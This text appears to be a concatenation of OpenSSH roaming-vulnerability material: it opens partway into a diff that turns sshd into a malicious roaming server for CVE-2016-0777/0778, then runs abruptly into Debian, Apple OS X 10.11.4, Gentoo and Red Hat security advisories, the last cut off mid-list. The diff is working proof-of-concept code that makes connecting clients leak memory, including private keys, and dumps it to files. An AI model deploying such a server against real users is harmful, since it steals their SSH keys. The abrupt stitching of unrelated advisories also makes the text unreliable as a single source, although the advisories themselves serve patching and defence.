/* key1 */\n+\tpacket_put_int64(0); /* key2 */\n+\tpacket_put_int(client_out_buf_size - client_send_buf_size);\n+\tpacket_send();\n+\tpacket_write_wait();\n+\n+\tif (overflow != 0) {\n+\t\tconst u_int64_t full_client_out_buf = get_recv_bytes() +\n+\t\t\t\t     client_out_buf_size;\n+\n+\t\tu_int fd_leaks = 4 * 8 * 8; /* MIN_CHUNK_SIZE in bits */\n+\t\tif ((cp = strstr(roaming, \"fd_leaks:\")) != NULL)\n+\t\t\tfd_leaks = strtoul(cp + 9, NULL, 0);\n+\t\tdebug(\"%s: fd_leaks %u\", __func__, fd_leaks);\n+\n+\t\twhile (fd_leaks--) {\n+\t\t\tpacket_start(SSH2_MSG_CHANNEL_OPEN);\n+\t\t\tpacket_put_cstring(overflow == \u0027X\u0027 ? \"x11\" :\n+\t\t\t    \"auth-agent@openssh.com\"); /* ctype */\n+\t\t\tpacket_put_int(arc4random()); /* server channel */\n+\t\t\tpacket_put_int(arc4random()); /* server window */\n+\t\t\tpacket_put_int(arc4random()); /* server maxpacket */\n+\t\t\tif (overflow == \u0027X\u0027) {\n+\t\t\t\tpacket_put_cstring(\"\"); /* originator */\n+\t\t\t\tpacket_put_int(arc4random()); /* port */\n+\t\t\t}\n+\t\t\tpacket_send();\n+\n+\t\t\tpacket_read_expect(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION);\n+\t\t\tpacket_get_int(); /* server channel */\n+\t\t\tpacket_get_int(); /* client channel */\n+\t\t\tpacket_get_int(); /* client window */\n+\t\t\tpacket_get_int(); /* client maxpacket */\n+\t\t\tpacket_check_eom();\n+\t\t}\n+\n+\t\twhile (get_recv_bytes() \u003c= full_client_out_buf) {\n+\t\t\tpacket_start(SSH2_MSG_GLOBAL_REQUEST);\n+\t\t\tpacket_put_cstring(\"\"); /* rtype */\n+\t\t\tpacket_put_char(1); /* want_reply */\n+\t\t\tpacket_send();\n+\n+\t\t\tpacket_read_expect(SSH2_MSG_REQUEST_FAILURE);\n+\t\t\tpacket_check_eom();\n+\t\t}\n+\n+\t\tif (kex == NULL)\n+\t\t\tfatal(\"%s: no kex, cannot rekey\", __func__);\n+\t\tif (kex-\u003eflags \u0026 KEX_INIT_SENT)\n+\t\t\tfatal(\"%s: KEX_INIT_SENT already\", __func__);\n+\t\tchar *const ptr = buffer_ptr(\u0026kex-\u003emy);\n+\t\tconst u_int len = buffer_len(\u0026kex-\u003emy);\n+\t\tif (len \u003c= 1+4) /* first_kex_follows + reserved */\n+\t\t\tfatal(\"%s: kex len %u\", __func__, len);\n+\t\tptr[len - (1+4)] = 1; /* first_kex_follows */\n+\t\tkex_send_kexinit(kex);\n+\n+\t\tu_int i;\n+\t\tpacket_read_expect(SSH2_MSG_KEXINIT);\n+\t\tfor (i = 0; i \u003c KEX_COOKIE_LEN; i++)\n+\t\t\tpacket_get_char();\n+\t\tfor (i = 0; i \u003c PROPOSAL_MAX; i++)\n+\t\t\tfree(packet_get_string(NULL));\n+\t\tpacket_get_char(); /* first_kex_follows */\n+\t\tpacket_get_int(); /* reserved */\n+\t\tpacket_check_eom();\n+\n+\t\tchar buf[8192*2]; /* two packet_read_seqnr bufferfuls */\n+\t\tmemset(buf, \u0027\\0\u0027, sizeof(buf));\n+\t\tpacket_start(SSH2_MSG_KEX_ROAMING_AUTH_FAIL);\n+\t\tpacket_put_string(buf, sizeof(buf));\n+\t\tpacket_send();\n+\t\tconst Buffer *const output = packet_get_output();\n+\t\tdump_roaming_file(\"output\", buffer_ptr(output),\n+\t\t\t\t\t    buffer_len(output));\n+\t}\n+\n+\tconst u_int64_t client_write_bytes = get_recv_bytes();\n+\tdebug(\"%s: client_write_bytes %llu\", __func__,\n+\t    (unsigned long long)client_write_bytes);\n+\tdump_roaming_file(\"client_write_bytes\", \u0026client_write_bytes,\n+\t\t\t\t\t  sizeof(client_write_bytes));\n+\tfatal(\"%s: all done for %s\", __func__, dir);\n+}\n+\n+static void\n server_input_global_request(int type, u_int32_t seq, void *ctxt)\n {\n \tchar *rtype;\n@@ -1168,6 +1371,13 @@ server_input_global_request(int type, u_\n \t} else if (strcmp(rtype, \"no-more-sessions@openssh.com\") == 0) {\n \t\tno_more_sessions = 1;\n \t\tsuccess = 1;\n+\t} else if (strcmp(rtype, ROAMING_REQUEST) == 0) {\n+\t\tif (want_reply != 1)\n+\t\t\tfatal(\"%s: rtype %s want_reply %d\", __func__,\n+\t\t\t\t   rtype, want_reply);\n+\t\troaming_disconnect(ctxt);\n+\t\t/* NOTREACHED */\n+\t\tfatal(\"%s: returned from %s\", __func__, ROAMING_REQUEST);\n \t}\n \tif (want_reply) {\n \t\tpacket_start(success ?\ndiff -pruN openssh-6.4p1/sshd.c openssh-6.4p1+roaming/sshd.c\n--- openssh-6.4p1/sshd.c\t2013-07-19 20:21:53.000000000 -0700\n+++ openssh-6.4p1+roaming/sshd.c\t2016-01-07 01:04:15.000000000 -0800\n@@ -2432,6 +2432,8 @@ do_ssh2_kex(void)\n \t}\n \tif (options.kex_algorithms != NULL)\n \t\tmyproposal[PROPOSAL_KEX_ALGS] = options.kex_algorithms;\n+\telse\n+\t\tmyproposal[PROPOSAL_KEX_ALGS] = KEX_DEFAULT_KEX \",\" KEX_RESUME;\n \n \tif (options.rekey_limit || options.rekey_interval)\n \t\tpacket_set_rekey_limits((u_int32_t)options.rekey_limit,\n. \n\nMore details about identifying an attack and mitigations will be\navailable in the Qualys Security Advisory. \n\nFor the oldstable distribution (wheezy), these problems have been fixed\nin version 1:6.0p1-4+deb7u3. \n\nFor the stable distribution (jessie), these problems have been fixed in\nversion 1:6.7p1-5+deb8u1. \n\nFor the testing distribution (stretch) and unstable distribution (sid), these\nproblems will be fixed in a later version. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA512\n\nAPPLE-SA-2016-03-21-5 OS X El Capitan 10.11.4 and Security Update\n2016-002\n\nOS X El Capitan 10.11.4 and Security Update 2016-002 is now available\nand addresses the following:\n\napache_mod_php\nAvailable for:  OS X Mavericks v10.9.5, OS X Yosemite v10.10.5,\nand OS X El Capitan v10.11 to v10.11.3\nImpact:  Processing a maliciously crafted .png file may lead to\narbitrary code execution\nDescription:  Multiple vulnerabilities existed in libpng versions\nprior to 1.6.20. These were addressed by updating libpng to version\n1.6.20. \nCVE-ID\nCVE-2015-8126 : Adam Mari\u0161\nCVE-2015-8472 : Adam Mari\u0161\n\nAppleRAID\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  An application may be able to execute arbitrary code with\nkernel privileges\nDescription:  A memory corruption issue was addressed through\nimproved input validation. \nCVE-ID\nCVE-2016-1733 : Proteas of Qihoo 360 Nirvan Team\n\nAppleRAID\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  A local user may be able to determine kernel memory layout\nDescription:  An out-of-bounds read issue existed that led to the\ndisclosure of kernel memory. This was addressed through improved\ninput validation. \nCVE-ID\nCVE-2016-1732 : Proteas of Qihoo 360 Nirvan Team\n\nAppleUSBNetworking\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  An application may be able to execute arbitrary code with\nkernel privileges\nDescription:  A memory corruption issue existed in the parsing of\ndata from USB devices. This issue was addressed through improved\ninput validation. \nCVE-ID\nCVE-2016-1734 : Andrea Barisani and Andrej Rosano of Inverse Path\n\nBluetooth\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  An application may be able to execute arbitrary code with\nkernel privileges\nDescription:  Multiple memory corruption issues were addressed\nthrough improved memory handling. \nCVE-ID\nCVE-2016-1735 : Jeonghoon Shin@A.D.D\nCVE-2016-1736 : beist and ABH of BoB\n\nCarbon\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  Processing a maliciously crafted .dfont file may lead to\narbitrary code execution\nDescription:  Multiple memory corruption issues existed in the\nhandling of font files. These issues were addressed through improved\nbounds checking. \nCVE-ID\nCVE-2016-1737 : an anonymous researcher\n\ndyld\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  An attacker may tamper with code-signed applications to\nexecute arbitrary code in the application\u0027s context\nDescription:  A code signing verification issue existed in dyld. \nCVE-ID\nCVE-2016-1738 : beist and ABH of BoB\n\nFontParser\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  Opening a maliciously crafted PDF file may lead to an\nunexpected application termination or arbitrary code execution\nDescription:  A memory corruption issue was addressed through\nimproved memory handling. \nCVE-ID\nCVE-2016-1740 : HappilyCoded (ant4g0nist and r3dsm0k3) working with\nTrend Micro\u0027s Zero Day Initiative (ZDI)\n\nHTTPProtocol\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  A remote attacker may be able to execute arbitrary code\nDescription:  Multiple vulnerabilities existed in nghttp2 versions\nprior to 1.6.0, the most serious of which may have led to remote code\nexecution. These were addressed by updating nghttp2 to version 1.6.0. \nCVE-ID\nCVE-2015-8659\n\nIntel Graphics Driver\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  An application may be able to execute arbitrary code with\nkernel privileges\nDescription:  Multiple memory corruption issues were addressed\nthrough improved memory handling. \nCVE-ID\nCVE-2016-1743 : Piotr Bania of Cisco Talos\nCVE-2016-1744 : Ian Beer of Google Project Zero\n\nIOFireWireFamily\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  A local user may be able to cause a denial of service\nDescription:  A null pointer dereference was addressed through\nimproved validation. \nCVE-ID\nCVE-2016-1745 : sweetchip of Grayhash\n\nIOGraphics\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  An application may be able to execute arbitrary code with\nkernel privileges\nDescription:  A memory corruption issue was addressed through\nimproved input validation. \nCVE-ID\nCVE-2016-1746 : Peter Pi of Trend Micro working with Trend Micro\u0027s\nZero Day Initiative (ZDI)\nCVE-2016-1747 : Juwei Lin of Trend Micro working with Trend Micro\u0027s\nZero Day Initiative (ZDI)\n\nIOHIDFamily\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  An application may be able to determine kernel memory layout\nDescription:  A memory corruption issue was addressed through\nimproved memory handling. \nCVE-ID\nCVE-2016-1748 : Brandon Azad\n\nIOUSBFamily\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  An application may be able to execute arbitrary code with\nkernel privileges\nDescription:  Multiple memory corruption issues were addressed\nthrough improved memory handling. \nCVE-ID\nCVE-2016-1749 : Ian Beer of Google Project Zero and Juwei Lin of\nTrend Micro working with Trend Micro\u0027s Zero Day Initiative (ZDI)\n\nKernel\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  An application may be able to execute arbitrary code with\nkernel privileges\nDescription:  A use after free issue was addressed through improved\nmemory management. \nCVE-ID\nCVE-2016-1750 : CESG\n\nKernel\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  An application may be able to execute arbitrary code with\nkernel privileges\nDescription:  A race condition existed during the creation of new\nprocesses. This was addressed through improved state handling. \nCVE-ID\nCVE-2016-1757 : Ian Beer of Google Project Zero and Pedro Vilaca\n\nKernel\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  An application may be able to execute arbitrary code with\nkernel privileges\nDescription:  A null pointer dereference was addressed through\nimproved input validation. \nCVE-ID\nCVE-2016-1756 : Lufeng Li of Qihoo 360 Vulcan Team\n\nKernel\nAvailable for:  OS X Mavericks v10.9.5, OS X Yosemite v10.10.5,\nand OS X El Capitan v10.11 to v10.11.3\nImpact:  An application may be able to execute arbitrary code with\nkernel privileges\nDescription:  Multiple memory corruption issues were addressed\nthrough improved memory handling. \nCVE-ID\nCVE-2016-1754 : Lufeng Li of Qihoo 360 Vulcan Team\nCVE-2016-1755 : Ian Beer of Google Project Zero\nCVE-2016-1759 : lokihardt\n\nKernel\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  An application may be able to determine kernel memory layout\nDescription:  An out-of-bounds read issue existed that led to the\ndisclosure of kernel memory. This was addressed through improved\ninput validation. \nCVE-ID\nCVE-2016-1758 : Brandon Azad\n\nKernel\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  An application may be able to execute arbitrary code with\nkernel privileges\nDescription:  Multiple integer overflows were addressed through\nimproved input validation. \nCVE-ID\nCVE-2016-1753 : Juwei Lin Trend Micro working with Trend Micro\u0027s Zero\nDay Initiative (ZDI)\n\nKernel\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  An application may be able to cause a denial of service\nDescription:  A denial of service issue was addressed through\nimproved validation. \nCVE-ID\nCVE-2016-1752 : CESG\n\nlibxml2\nAvailable for:  OS X Mavericks v10.9.5, OS X Yosemite v10.10.5,\nand OS X El Capitan v10.11 to v10.11.3\nImpact:  Processing maliciously crafted XML may lead to unexpected\napplication termination or arbitrary code execution\nDescription:  Multiple memory corruption issues were addressed\nthrough improved memory handling. \nCVE-ID\nCVE-2015-1819\nCVE-2015-5312 : David Drysdale of Google\nCVE-2015-7499\nCVE-2015-7500 : Kostya Serebryany of Google\nCVE-2015-7942 : Kostya Serebryany of Google\nCVE-2015-8035 : gustavo.grieco\nCVE-2015-8242 : Hugh Davenport\nCVE-2016-1761 : wol0xff working with Trend Micro\u0027s Zero Day\nInitiative (ZDI)\nCVE-2016-1762\n\nMessages\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  An attacker who is able to bypass Apple\u0027s certificate\npinning, intercept TLS connections, inject messages, and record\nencrypted attachment-type messages may be able to read attachments\nDescription:  A cryptographic issue was addressed by rejecting\nduplicate messages on the client. \nCVE-ID\nCVE-2016-1788 : Christina Garman, Matthew Green, Gabriel Kaptchuk,\nIan Miers, and Michael Rushanan of Johns Hopkins University\n\nMessages\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  Clicking a JavaScript link can reveal sensitive user\ninformation\nDescription:  An issue existed in the processing of JavaScript links. \nThis issue was addressed through improved content security policy\nchecks. \nCVE-ID\nCVE-2016-1764 : Matthew Bryan of the Uber Security Team (formerly of\nBishop Fox), Joe DeMesy and Shubham Shah of Bishop Fox\n\nNVIDIA Graphics Drivers\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  An application may be able to execute arbitrary code with\nkernel privileges\nDescription:  Multiple memory corruption issues were addressed\nthrough improved memory handling. \nCVE-ID\nCVE-2016-1741 : Ian Beer of Google Project Zero\n\nOpenSSH\nAvailable for:  OS X Mavericks v10.9.5, OS X Yosemite v10.10.5,\nand OS X El Capitan v10.11 to v10.11.3\nImpact:  Connecting to a server may leak sensitive user information,\nsuch as a client\u0027s private keys\nDescription:  Roaming, which was on by default in the OpenSSH client,\nexposed an information leak and a buffer overflow. These issues were\naddressed by disabling roaming in the client. \nCVE-ID\nCVE-2016-0777 : Qualys\nCVE-2016-0778 : Qualys\n\nOpenSSH\nAvailable for:  OS X Mavericks v10.9.5 and OS X Yosemite v10.10.5\nImpact:  Multiple vulnerabilities in LibreSSL\nDescription:  Multiple vulnerabilities existed in LibreSSL versions\nprior to 2.1.8. These were addressed by updating LibreSSL to version\n2.1.8. \nCVE-ID\nCVE-2015-5333 : Qualys\nCVE-2015-5334 : Qualys\n\nOpenSSL\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  A remote attacker may be able to cause a denial of service\nDescription:  A memory leak existed in OpenSSL versions prior to\n0.9.8zh. This issue was addressed by updating OpenSSL to version\n0.9.8zh. \nCVE-ID\nCVE-2015-3195\n\nPython\nAvailable for:  OS X Mavericks v10.9.5, OS X Yosemite v10.10.5,\nand OS X El Capitan v10.11 to v10.11.3\nImpact:  Processing a maliciously crafted .png file may lead to\narbitrary code execution\nDescription:  Multiple vulnerabilities existed in libpng versions\nprior to 1.6.20. These were addressed by updating libpng to version\n1.6.20. \nCVE-ID\nCVE-2014-9495\nCVE-2015-0973\nCVE-2015-8126 : Adam Mari\u0161\nCVE-2015-8472 : Adam Mari\u0161\n\nQuickTime\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  Processing a maliciously crafted FlashPix Bitmap Image may\nlead to unexpected application termination or arbitrary code\nexecution\nDescription:  Multiple memory corruption issues were addressed\nthrough improved memory handling. \nCVE-ID\nCVE-2016-1767 : Francis Provencher from COSIG\nCVE-2016-1768 : Francis Provencher from COSIG\n\nQuickTime\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  Processing a maliciously crafted Photoshop document may lead\nto unexpected application termination or arbitrary code execution\nDescription:  Multiple memory corruption issues were addressed\nthrough improved memory handling. \nCVE-ID\nCVE-2016-1769 : Francis Provencher from COSIG\n\nReminders\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  Clicking a tel link can make a call without prompting the\nuser\nDescription:  A user was not prompted before invoking a call. This\nwas addressed through improved entitlement checks. \nCVE-ID\nCVE-2016-1770 : Guillaume Ross of Rapid7 and Laurent Chouinard of\nLaurent.ca\n\nRuby\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  A local attacker may be able to cause unexpected application\ntermination or arbitrary code execution\nDescription:  An unsafe tainted string usage vulnerability existed in\nversions prior to 2.0.0-p648. \nCVE-ID\nCVE-2015-7551\n\nSecurity\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  A local user may be able to check for the existence of\narbitrary files\nDescription:  A permissions issue existed in code signing tools. This\nwas addressed though additional ownership checks. \nCVE-ID\nCVE-2016-1773 : Mark Mentovai of Google Inc. \n\nSecurity\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  Processing a maliciously crafted certificate may lead to\narbitrary code execution\nDescription:  A memory corruption issue existed in the ASN.1 decoder. \nThis issue was addressed through improved input validation. \nCVE-ID\nCVE-2016-1950 : Francis Gabriel of Quarkslab\n\nTcl\nAvailable for:  \nOS X Yosemite v10.10.5 and OS X El Capitan v10.11 to v10.11.3\nImpact:  Processing a maliciously crafted .png file may lead to\narbitrary code execution\nDescription:  Multiple vulnerabilities existed in libpng versions\nprior to 1.6.20. These were addressed by removing libpng. \nCVE-ID\nCVE-2015-8126 : Adam Mari\u0161\n\nTrueTypeScaler\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  Processing a maliciously crafted font file may lead to\narbitrary code execution\nDescription:  A memory corruption issue existed in the processing of\nfont files. This issue was addressed through improved input\nvalidation. \nCVE-ID\nCVE-2016-1775 : 0x1byte working with Trend Micro\u0027s Zero Day\nInitiative (ZDI)\n\nWi-Fi\nAvailable for:  OS X El Capitan v10.11 to v10.11.3\nImpact:  An attacker with a privileged network position may be able\nto execute arbitrary code\nDescription:  A frame validation and memory corruption issue existed\nfor a given ethertype. This issue was addressed through additional\nethertype validation and improved memory handling. \nCVE-ID\nCVE-2016-0801 : an anonymous researcher\nCVE-2016-0802 : an anonymous researcher\n\nOS X El Capitan 10.11.4 includes the security content of Safari 9.1. \nhttps://support.apple.com/kb/HT206171\n\nOS X El Capitan v10.11.4 and Security Update 2016-002 may be obtained\nfrom the Mac App Store or Apple\u0027s Software Downloads web site:\nhttp://www.apple.com/support/downloads/\n\nInformation will also be posted to the Apple Security Updates\nweb site: https://support.apple.com/kb/HT201222\n\nThis message is signed with Apple\u0027s Product Security PGP key,\nand details are available at:\nhttps://www.apple.com/support/security/pgp/\n-----BEGIN PGP SIGNATURE-----\nComment: GPGTools - https://gpgtools.org\n\niQIcBAEBCgAGBQJW8JQFAAoJEBcWfLTuOo7tZSYP/1bHFA1qemkD37uu7nYpk/q6\nARVsPgME1I1+5tOxX0TQJgzMBmdQsKYdsTiLpDk5HTuv+dAMsFfasaUItGk8Sz1w\nHiYjSfVsxL+Pjz3vK8/4/fsi2lX6472MElRw8gudITOhXtniGcKo/vuA5dB+vM3l\nJy1NLHHhZ6BD2t0bBmlz41mZMG3AMxal2wfqE+5LkjUwASzcvC/3B1sh7Fntwyau\n/71vIgMQ5AaETdgQJAuQivxPyTlFduBRgLjqvPiB9eSK4Ctu5t/hErFIrP2NiDCi\nUhfZC48XbiRjJfkUsUD/5TIKnI+jkZxOnch9ny32dw2kUIkbIAbqufTkzsMXOpng\nO+rI93Ni7nfzgI3EkI2bq+C+arOoRiveWuJvc3SMPD5RQHo4NCQVs0ekQJKNHF78\njuPnY29n8WMjwLS6Zfm+bH+n8ELIXrmmEscRztK2efa9S7vJe+AgIxx7JE/f8OHF\ni9K7UQBXFXcpMjXi1aTby/IUnpL5Ny4NVwYwIhctj0Mf6wTH7uf/FMWYIQOXcIfP\nIzo+GXxNeLd4H2ypZ+UpkZg/Sn2mtCd88wLc96+owlZPBlSqWl3X1wTlp8i5FP2X\nqlQ7RcTHJDv8jPT/MOfzxEK1n/azp45ahHA0o6nohUdxlA7PLci9vPiJxqKPo/0q\nVZmOKa8qMxB1L/JmdCqy\n=mZR+\n-----END PGP SIGNATURE-----\n. \n\nAffected packages\n=================\n\n    -------------------------------------------------------------------\n     Package              /     Vulnerable     /            Unaffected\n    -------------------------------------------------------------------\n  1  net-misc/openssh             \u003c 7.1_p2                  \u003e= 7.1_p2\n\nDescription\n===========\n\nQualys have reported two issues in the \"roaming\" code included in the\nOpenSSH client, which provides undocumented, experimental support for\nresuming SSH connections. Users with private keys that are not protected by a\npassphrase are advised to generate new keys if they have connected to\nan SSH server they don\u0027t fully trust. To do\nso, add \"UseRoaming no\" to the SSH client configuration, or specify \"-o\n\u0027UseRoaming no\u0027\" on the command line. \n\nResolution\n==========\n\nAll OpenSSH users should upgrade to the latest version:\n\n  # emerge --sync\n  # emerge --ask --oneshot --verbose \"\u003e=net-misc/openssh-7.1_p2\"\n\nReferences\n==========\n\n[ 1 ] CVE-2016-0777\n      http://nvd.nist.gov/nvd.cfm?cvename=CVE-2016-0777\n[ 2 ] CVE-2016-0778\n      http://nvd.nist.gov/nvd.cfm?cvename=CVE-2016-0778\n\nAvailability\n============\n\nThis GLSA and any updates to it are available for viewing at\nthe Gentoo Security Website:\n\n https://security.gentoo.org/glsa/201601-01\n\nConcerns?\n=========\n\nSecurity is a primary focus of Gentoo Linux and ensuring the\nconfidentiality and security of our users\u0027 machines is of utmost\nimportance to us. \n\nLicense\n=======\n\nCopyright 2016 Gentoo Foundation, Inc; referenced text\nbelongs to its owner(s). \n\nThe contents of this document are licensed under the\nCreative Commons - Attribution / Share Alike license. \n\nhttp://creativecommons.org/licenses/by-sa/2.5\n. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA1\n\n=====================================================================\n                   Red Hat Security Advisory\n\nSynopsis:          Moderate: openssh security update\nAdvisory ID:       RHSA-2016:0043-01\nProduct:           Red Hat Enterprise Linux\nAdvisory URL:      https://rhn.redhat.com/errata/RHSA-2016-0043.html\nIssue date:        2016-01-14\nCVE Names:         CVE-2016-0777 CVE-2016-0778 \n=====================================================================\n\n1. Summary:\n\nUpdated openssh packages that fix two security issues are now available for\nRed Hat Enterprise Linux 7. \n\nRed Hat Product Security has rated this update as having Moderate security\nimpact. Common Vulnerability Scoring System (CVSS) base scores, which give\ndetailed severity ratings, are available for each vulnerability from the\nCVE links in the References section. Relevant releases/architectures:\n\nRed Hat Enterprise Linux Client (v. 7) - x86_64\nRed Hat Enterprise Linux Client Optional (v. 7) - x86_64\nRed Hat Enterprise Linux ComputeNode (v. 7) - x86_64\nRed Hat Enterprise Linux ComputeNode Optional (v. 7) - x86_64\nRed Hat Enterprise Linux Server (v. 7) - ppc64, ppc64le, s390x, x86_64\nRed Hat Enterprise Linux Server Optional (v. 7) - ppc64, ppc64le, s390x, x86_64\nRed Hat Enterprise Linux Workstation (v. 7) - x86_64\nRed Hat Enterprise Linux Workstation Optional (v. 7) - x86_64\n\n3. Description:\n\nOpenSSH is OpenBSD\u0027s SSH (Secure Shell) protocol implementation. \nThese packages include the core files necessary for both the OpenSSH client\nand server. (CVE-2016-0778)\n\nRed Hat would like to thank Qualys for reporting these issues. \n\nAll openssh users are advised to upgrade to these updated packages, which\ncontain backported patches to correct these issues. After installing this\nupdate, the OpenSSH server daemon (sshd) will be restarted automatically. Solution:\n\nBefore applying this update, make sure all previously released errata\nrelevant to your system have been applied. \n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258\n\n5. Package List:\n\nRed Hat Enterprise Linux Client (v. 7):\n\nSource:\nopenssh-6.6.1p1-23.el7_2.src.rpm\n\nx86_64:\nopenssh-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-askpass-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-clients-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-keycat-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-server-6.6.1p1-23.el7_2.x86_64.rpm\n\nRed Hat Enterprise Linux Client Optional (v. 7):\n\nx86_64:\nopenssh-debuginfo-6.6.1p1-23.el7_2.i686.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-ldap-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-server-sysvinit-6.6.1p1-23.el7_2.x86_64.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.i686.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.x86_64.rpm\n\nRed Hat Enterprise Linux ComputeNode (v. 7):\n\nSource:\nopenssh-6.6.1p1-23.el7_2.src.rpm\n\nx86_64:\nopenssh-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-clients-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-keycat-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-server-6.6.1p1-23.el7_2.x86_64.rpm\n\nRed Hat Enterprise Linux ComputeNode Optional (v. 7):\n\nx86_64:\nopenssh-askpass-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.i686.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-ldap-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-server-sysvinit-6.6.1p1-23.el7_2.x86_64.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.i686.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.x86_64.rpm\n\nRed Hat Enterprise Linux Server (v. 7):\n\nSource:\nopenssh-6.6.1p1-23.el7_2.src.rpm\n\nppc64:\nopenssh-6.6.1p1-23.el7_2.ppc64.rpm\nopenssh-askpass-6.6.1p1-23.el7_2.ppc64.rpm\nopenssh-clients-6.6.1p1-23.el7_2.ppc64.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.ppc64.rpm\nopenssh-keycat-6.6.1p1-23.el7_2.ppc64.rpm\nopenssh-server-6.6.1p1-23.el7_2.ppc64.rpm\n\nppc64le:\nopenssh-6.6.1p1-23.el7_2.ppc64le.rpm\nopenssh-askpass-6.6.1p1-23.el7_2.ppc64le.rpm\nopenssh-clients-6.6.1p1-23.el7_2.ppc64le.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.ppc64le.rpm\nopenssh-keycat-6.6.1p1-23.el7_2.ppc64le.rpm\nopenssh-server-6.6.1p1-23.el7_2.ppc64le.rpm\n\ns390x:\nopenssh-6.6.1p1-23.el7_2.s390x.rpm\nopenssh-askpass-6.6.1p1-23.el7_2.s390x.rpm\nopenssh-clients-6.6.1p1-23.el7_2.s390x.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.s390x.rpm\nopenssh-keycat-6.6.1p1-23.el7_2.s390x.rpm\nopenssh-server-6.6.1p1-23.el7_2.s390x.rpm\n\nx86_64:\nopenssh-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-askpass-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-clients-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-keycat-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-server-6.6.1p1-23.el7_2.x86_64.rpm\n\nRed Hat Enterprise Linux Server Optional (v. 7):\n\nppc64:\nopenssh-debuginfo-6.6.1p1-23.el7_2.ppc.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.ppc64.rpm\nopenssh-ldap-6.6.1p1-23.el7_2.ppc64.rpm\nopenssh-server-sysvinit-6.6.1p1-23.el7_2.ppc64.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.ppc.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.ppc64.rpm\n\nppc64le:\nopenssh-debuginfo-6.6.1p1-23.el7_2.ppc64le.rpm\nopenssh-ldap-6.6.1p1-23.el7_2.ppc64le.rpm\nopenssh-server-sysvinit-6.6.1p1-23.el7_2.ppc64le.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.ppc64le.rpm\n\ns390x:\nopenssh-debuginfo-6.6.1p1-23.el7_2.s390.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.s390x.rpm\nopenssh-ldap-6.6.1p1-23.el7_2.s390x.rpm\nopenssh-server-sysvinit-6.6.1p1-23.el7_2.s390x.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.s390.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.s390x.rpm\n\nx86_64:\nopenssh-debuginfo-6.6.1p1-23.el7_2.i686.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-ldap-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-server-sysvinit-6.6.1p1-23.el7_2.x86_64.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.i686.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.x86_64.rpm\n\nRed Hat Enterprise Linux 